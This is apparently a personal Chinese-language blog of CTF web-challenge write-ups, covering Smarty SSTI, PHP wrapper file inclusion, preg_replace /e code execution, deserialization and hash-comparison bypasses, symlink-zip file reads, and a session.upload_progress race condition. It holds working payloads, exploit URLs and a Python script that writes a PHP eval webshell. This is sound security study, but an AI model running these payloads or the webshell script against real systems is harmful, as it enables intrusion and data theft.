One step a day

2020.11.4-SSTI模板注入

[BJDCTF2020]The mystery of ip 1

image-20200926194608129

第一眼看到题目就感觉这道题应该不难,问题应该出在IP这个地方。实在不知道怎么写就在网上看了下wp,flask框架

以前确实没有见到过**SSTI模板注入**


知识点理解:

1

SSTI(Server-Side Template Injection),即服务端模板注入攻击,恶意构造输入数据,从而造成文件读取或者getshell

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig

拓展:

遇到flask框架反应就是SSTI模板注入

浅析SSTI(python沙盒绕过)

talmap工具可以实现自动化检测


解题:

提示了ip,可能与XFF有关,能修改ip说明可控

经smarty注入payload 测试 ,可控

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} #本题payload

image-20200926194608129

image-20200926194608129


2020.11.5-命令执行

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

爱了爱了,代码审计

出现了file_get_contents()和include()函数,所以我们需要用php伪协议传入textfile的值

1
2
?text=data://text/plain,I have a dream&&file=php://filter/read=convert.base64-encode/resource=next.php

2

1

进行base64解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

???

有关 return preg_replace(…)没看懂


知识点理解:

主要是preg_replace e模式下的代码执行问题.

'strtolower("\\1")', 里面的\\1实际就是\1,在正则匹配中即指第一个子匹配项

官方payload:/?.*={${phpinfo}},

/.*={{}}会变成 /_*是非法字符不为首字母,

所以换个正则表达式 \S*=${phpinfo()} 可执行函数

正则表达式

深入研究preg_replace与代码执行

参考wp


解题:
1
\S*=${phpinfo} 或者  \S*={${phpinfo}}   // 可以命令执行

4

/next.php?S*=${getFlag()}&cmd=system(‘cat /flag’);

3


[ZJCTF 2019]NiZhuanSiWei

  • 2021.5.24

1

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 

第一关我们可以通过php 伪协议传参welcome to the zjctf。 php://input 或者 data:// 都可以

  • text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
1
include($file);  //useless.php 

第二关这么明显的提示,我们赶快去读useless.php 内容(在第一关的基础上)

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=php://filter/read=convert.base64-encode/resource=useless.php

获得一串base64加密数据PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解密得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

2

http://cb05b76c-5a4d-493d-b445-e9e887b65582.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

F12获得flag

[MRCTF2020]Ez_bypass

  • 2021.7.21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

  1. md5($id) === md5($gg) && $id !== $gg php强比较绕过

id[]=1&gg[]=2,传入数组,虽然会报错但md5返回结果为空,NULL=NULL绕过md5,

  1. is_numeric()函数用1234567a绕过,1234567a会被当做字符串,转换整型时候把a去掉

[MRCTF2020]套娃1

  • 2020.7.21

image-20210721161850938

$_SERVER['QUERY_STRING']可以获得我们传的参数变量和值,如下解释:

image-20210721162009856

%20代替_绕过第一个if检测(查询字符串在解析的过程中会将空白符删除或用将某些字符转换为下划线(包括空格[)) 或者用%5F代替_

参考

%0a绕过第二个正则(超级实用)

1
?b%20u%20p%20t=23333%0a

image-20210723151026286

jsfuck加密

image-20210723151432092

复制到控制台

image-20210723151501201

随便post Merak一个值

image-20210723160659019

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Flag is here~But how to get it? 
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

xff不行,用client-ip:127.0.0.1

1
2
3
?2333=php://input

todat is a happy day

file 需要写个解密poc

image-20210724015309274

file=ZmpdYSZmXGI=

image-20210724015407359

各种绕过

  • 2020.7.22

http://120.25.24.45:30194/show_code.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
header("content-type:text/html;charset=utf-8");
include('flag.php');

highlight_file('show_code.php');

$a = @$_GET['key1'];

if($a==56 || $a>256){ #key1
die("真相???");
}
elseif(chr($a)==="8"){
echo "接着" . "<br>";
echo $flag1 . "<br>";
}
else{
die("不太行");
}

$b = $_GET['key2'];

if(strpos($b,'8')!==false){ #key2
die("不会那么容易的");
}
for($i=0;$i<=1;$i++){
++$b;
}
if($b==10){
echo "祝你好运" . "<br>";
echo $flag2 . "<br>";
}
else{
die("运气不太行呀!");
}

$m = md5($_GET['rq']); #rq

if($_GET['fp'] == $m){
echo $flag3."<br>";
}
elseif(isset($fp)){
die("失败");
}

$n = hash('ripemd160',$_GET['np']); #np

if($_GET['nq'] === $n){
echo $flag4."<br>";
}
elseif(isset($np)){
die("失败");
}

$hell=$_GET['key3']; #key3
if(strpos($hell, 'i')!==false || strpos($hell, 'I')!==false){
die("不能这样!");
}
$data = unserialize($hell);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
echo $flag5 . "<br>";
} else {
die("没用的");
}

?>

exp

1
http://120.25.24.45:30194/show_code.php?key1=56.1%20&key2=10-2&rq=1&fp=c4ca4238a0b923820dcc509a6f75849b&np=1&nq=c47907abd2a80492ca9388b05c0e382518ff3960&key3=a:2:{s:8:%22username%22;b:1;s:8:%22password%22;b:1;}

linux软硬链接

  • 2021.9.24

索引节点(inode)

Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。

硬链接

硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

1
2
3
4
5
6
ls -li

# ln命令来建立硬链接
ln [options] existingfile newfile

[options]:-f无论"newfile"存在与否,都创建链接。-n 如果"newfile"已存在,就不创建链接

特点:

  1. 注意在创建硬链接前,显示的链接数目为1,创建链接后,链接数目都变为2,具有同样的索引节点号和文件属性。
  2. 文件大小一样,可以跨目录,但是只适用于自己的本机的文件系统上。

缺点:

  1. 不可以在不同文件系统的文件间建立链接。

软链接

软链接又叫符号链接,这个文件包含了另一个文件的路径名。可以是任意文件或目录,可以链接不同文件系统的文件。

1
2
#ln -s 命令来建立软链接。
ln -s existingfile newfile

特点:

  1. 软链接原文件/链接文件拥有不同的inode号,
  2. 可以适应其他系统
  3. 文件大小是不一样的

软链接导致任意文件读取

前提条件:网站后台会解压读取该软链接指向读取目标文件

1
2
3
4
ln -s /etc/passwd passwd

zip -y passwd.zip passwd

将pass.zip上传导目标服务器

例题babypython[国赛总决赛复现

image-20210924180346637

image-20210924180358924

例题

参考


upload-session

  • 2021.9.24

php5.4后中添加了session.upload_progress这个功能

1
2
3
4
5
6
7
8
9
10
#php.ini

1.session.upload_progress.enabled = On #on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

2.session.upload_progress.cleanup = On #在读取完POST的数据后,php就会删除session文件中关于上传进度的信息,需要条件竞争绕过。

3.session.upload_progress.prefix = “upload_progress_” #可以设置上传文件内容的前缀

4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” #name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,

session.use_strict_mode默认值为off,此时用户是可以自己定义Session ID的。

图中PHPSESSID=test,本地文件缓存sess_test文件

image-20210924172910845

session存放地方

当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。

环境

index.html

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(!isset($file)){
$file=$_GET['file'];
include($file);
}
else
{
highlight_file("upload.php");
}

?>

session内容分析

PHPSESSID=test,可以生成sess_test文件,111<?php system("dir");?>即我们传入的

image-20210924114742991

存入sess_test的内容

image-20210924135912833

内容有两部分,以竖线|区分

  1. session.upload_progress.prefix+PHP_SESSION_UPLOAD_PROGRESS
1
upload_progress_111<?php system("dir");?>
  1. 序列化后的文件传输过程的信息
1
a:5:{s:10:"start_time";i:1632463087;s:14:"content_length";i:366;s:15:"bytes_processed";i:366;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"file.txt";s:8:"tmp_name";s:22:"C:\Windows\php8C87.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1632463087;s:15:"bytes_processed";i:0;}}}

反序列化后,可以清楚看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
array(5) {
["start_time"]=>
int(1632463087)
["content_length"]=>
int(366)
["bytes_processed"]=>
int(366)
["done"]=>
bool(true)
["files"]=>
array(1) {
[0]=>
array(7) {
["field_name"]=>
string(4) "file"
["name"]=>
string(8) "file.txt"
["tmp_name"]=>
string(22) "C:\Windows\php8C87.tmp"
["error"]=>
int(0)
["done"]=>
bool(true)
["start_time"]=>
int(1632463087)
["bytes_processed"]=>
int(0)
}
}
}

利用过程

利用session.upload_progress上传一个临时文件,

该文件里面有我们上传的恶意代码,然后包含它,

从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。

竞争条件利用,上传文件要尽量大一些,增加上传时间

参考

参考2

整体思路

python的竞争方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf-8 -*-

# @Created by PyCharm_python-study_9.24session.py
# @Author: shmily-ing
# @Data: 2021/9/24 12:50
import requests
import io
import threading

url = "http://127.0.0.1:10086/upload.php"
sessid = "test"

def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post("http://127.0.0.1:10086/upload.php",
data={
#'PHP_SESSION_UPLOAD_PROGRESS': '111<?php eval($_POST[1]);?>'
'PHP_SESSION_UPLOAD_PROGRESS': '111222<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)

def read(session):
while True:
res = session.post(url+"?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_"+sessid,
data={
"1":"file_put_contents('D:/phpstudy_pro/WWW/upload-session/1.php' , '<?php eval($_POST[2]);?>');" #包含一句话去写文件
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://127.0.0.1:10086/1.php")
#res2=requests.get("http://127.0.0.1:10086/upload.php/?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_test",cookies={"PHPSESSID":sessid})
if res2.status_code == 200:
print("写入成功")
#print(res2.text)
else:
print("Retry")



if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start() #Python的threading模块,开5个线程进行条件竞争
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

写入成功即可停止,在对应文件目录中可以看到写入的文件

image-20210924174942242

或者用burp 开启start attack,一起跑两个请求

image-20210924180211084

image-20210924180807362

可以看到结果

image-20210924180839093

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信